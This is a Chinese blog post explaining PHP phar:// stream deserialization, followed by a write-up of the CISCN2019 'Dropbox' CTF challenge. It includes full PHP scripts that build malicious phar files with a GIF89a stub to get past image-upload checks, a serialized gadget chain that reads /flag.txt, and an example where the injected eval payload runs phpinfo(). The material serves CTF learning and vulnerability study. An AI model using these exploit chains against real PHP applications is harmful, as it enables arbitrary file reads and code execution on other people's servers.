zoukankan      html  css  js  c++  java
  • PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR://

    PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等

    include('php://filter/read=convert.base64-encode/resource=index.php');
    include('data://text/plain;base64,xxxxxxxxxxxx');
    

    前者使用到了过滤器来进行读写文件,后者使用data协议进行文件的读写。

    phar://也是流包装的一种,关于phar的结构:

    1.stub

    一个供phar扩展用于识别的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,注意此处必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以在前面轻易伪造一个图片文件的头如GIF98a来绕过一些上传限制;
    

    2.manifest

    用于保存压缩文件的权限、属性等信息,并且以序列化的形式存储用户自定义的meta-data,会触发反序列化,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
    

    3.contents

    被压缩文件的内容。
    

    4.signature

    签名,放在文件末尾.
    

    就像test.jpg可以作为php文件被include执行一样,test.phar改名为test.jpg之后,phar://协议也会将test.jpg作为phar文件处理,所以我们也可以通过phar://test.jpg正常访问test.phar,因为php的文件函数都是以流的形式读取文件。

    影响函数:

    fileatime / filectime / filemtime
    stat / fileinode / fileowner / filegroup / fileperms
    file / file_get_contents / readfile / fopen
    file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
    parse_ini_file
    unlink
    

    以上函数在通过phar://伪协议解析phar文件时都会将数据反序列化,从而实现序列化的漏洞,因为meta-data是以序列化的形式存储的。

    一段生成phar的的脚本:

    <?php
    
    class User {
        public $db;
    }
    
    class File {
        public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
    
        public function __construct() {
            $file = new File();
            $file->filename = '/flag.txt';
            $this->files = array($file);
            $this->results = array();
            $this->funcs = array();
        }
    }
    
    @unlink("phar.phar");
    $phar = new Phar("1.phar"); //后缀名必须为phar
    
    $phar->startBuffering();
    
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $o = new User();
    $o->db = new FileList();
    
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    

    基本思路就是这样:上传phar文件,利用类中的可利用的方法,找到服务端文件操作函数并以phar://协议读取phar文件。
    这是利用条件:

    phar文件要能够上传到服务器端。
    如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
    要有可用的魔术方法作为“跳板”。
    文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
    

    我个人理解这个过程就是我们利用phar://能够将文件以phar流的形式进行传递无论他的后缀是什么,这个时候我们在他的metedata中添加payload,payload需要适应服务端,即payload的序列化,进过反序列化是能够调用到目标机器上的类,从而执行目的类上面的魔术方法进行生成,因为在$phar->setMetadata($o);的时候自动的进行了反序列化的操作,所以我们需要在服务端有一个能执行序列化的函数,就是类似于filegetcontent方法,将其反序列化,还原其类的成员,同时我们想要执行的话,需要用到魔术函数,此时服务端上也要有魔术函数,就例如_destruct等等,所以是我们根据服务端来构造,要满足以上的三个条件,即能反序列化,生成一个类,在服务端上这个类有魔术方法。

    这篇文章就很明白: https://xz.aliyun.com/t/2715

    [CISCN2019 华北赛区 Day1 Web1]Dropbox

    download.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
        header("Location: login.php");
        die();
    }
    
    if (!isset($_POST['filename'])) {
        die();
    }
    
    include "class.php";
    ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    
    chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
        Header("Content-type: application/octet-stream");
        Header("Content-Disposition: attachment; filename=" . basename($filename));
        echo $file->close();
    } else {
        echo "File not exist";
    }
    ?>
    

    upload.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
        header("Location: login.php");
        die();
    }
    
    include "class.php";
    
    if (isset($_FILES["file"])) {
        $filename = $_FILES["file"]["name"];
        $pos = strrpos($filename, ".");
        if ($pos !== false) {
            $filename = substr($filename, 0, $pos);
        }
    
        $fileext = ".gif";
        switch ($_FILES["file"]["type"]) {
            case 'image/gif':
                $fileext = ".gif";
                break;
            case 'image/jpeg':
                $fileext = ".jpg";
                break;
            case 'image/png':
                $fileext = ".png";
                break;
            default:
                $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
                Header("Content-type: application/json");
                echo json_encode($response);
                die();
        }
    
        if (strlen($filename) < 40 && strlen($filename) !== 0) {
            $dst = $_SESSION['sandbox'] . $filename . $fileext;
            move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
            $response = array("success" => true, "error" => "");
            Header("Content-type: application/json");
            echo json_encode($response);
        } else {
            $response = array("success" => false, "error" => "Invaild filename");
            Header("Content-type: application/json");
            echo json_encode($response);
        }
    }
    ?>
    

    根据包含的文件还有一个class.php,以及登录,注册的php页面。
    在class.php当中:

    <?php
    class File {
        public $filename;
    
        public function close() {
            return file_get_contents($this->filename);
        }
    }
    class User {
        public $db;
        public function __destruct() {
            $this->db->close();
        }
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
    
        public function __call($func, $args) {
            array_push($this->funcs, $func);
            foreach ($this->files as $file) {
                $this->results[$file->name()][$func] = $file->$func();
            }
        }
        public function __destruct() {
            $table .= '<thead><tr>';
            foreach ($this->funcs as $func) {
                $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
            }
            $table .= '<th scope="col" class="text-center">Opt</th>';
            $table .= '</thead><tbody>';
            foreach ($this->results as $filename => $result) {
                $table .= '<tr>';
                foreach ($result as $func => $value) {
                    $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
                }
                $table .= '</tr>';
            }
            echo $table;
        }
    }
    

    虽说存在着任意文件下载的漏洞,但是由于:

    ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    
    chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    

    的限制,我们无法读取flag的文件,同事我们读取的范围只能限于etc,tmp,和当前目录集下面,例如我们读取etc/passwd就能够读取。

    在观察delete文件

    <?php
    include "class.php";
    if (strlen($filename) < 40 && $file->open($filename)) {
        $file->detele();
        Header("Content-type: application/json");
        $response = array("success" => true, "error" => "");
        echo json_encode($response);
    } else {
        Header("Content-type: application/json");
        $response = array("success" => false, "error" => "File not exist");
        echo json_encode($response);
    }
    ?>
    

    包含了class.php,两者结合进行分析:

    class File {
        public $filename;
    
        public function close() {
            return file_get_contents($this->filename);
        }
    }
    

    在File类当中包含的close方法可能会获得文件内容。 在Usr类当中,存在魔术方法destruct,它调用了cloase方法,如果存在call魔术方法就可能被利用。
    在FileList当中,存在__call的魔术方法,且为public:

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    

    当一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
    创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法,同时close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。 执行脚本:

    <?php
    
    class User {
        public $db;
    }
    
    class File {
        public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
    
        public function __construct() {
            $file = new File();
            $file->filename = '/flag.txt';
            $this->files = array($file);
            $this->results = array();
            $this->funcs = array();
        }
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    
    $phar->startBuffering();
    
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $o = new User();
    $o->db = new FileList();
    
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    另外以上代码执行后生成的phar文件我们使用notepad++打开是这样的

    O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:" FileList files";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:9:"/flag.txt";}}s:17:" FileList results";a:0:{}s:15:" FileList funcs";a:0:{}}}
    一段序列化数据

    小例子2: 服务端代码:

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    file_exists($filename);
    

    根据这段我们时需要调用Anyclass的魔术方法__destruct: 根据需求我们可以构造出这样的实例化代码:

    <?php
    class AnyClass{
        var $output = 'echo "ok";';
        function __destruct()
        {
            eval($this -> output);
        }
    }
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $object = new AnyClass();
    $object -> output= 'phpinfo();';
    $phar -> setMetadata($object);
    $phar -> stopBuffering();
    

    为了适合服务端上的Anyclass所以我们在本地自己生成Anyclass类,在使用phar进行压缩,序列化,然后利用phar协议进行发送,更改后缀名。

    参考文章:https://xz.aliyun.com/t/2715

  • 相关阅读:
    软件工程课堂二
    软件工程第二周总结
    软件工程第一周开课博客
    软件工程课堂一
    开学第一次考试感想
    以Function构造函数方式声明函数
    document.scrollingElement
    标识符
    变量声明语句的提升
    用that代替this
  • 原文地址:https://www.cnblogs.com/ophxc/p/12972563.html
Copyright © 2011-2022 走看看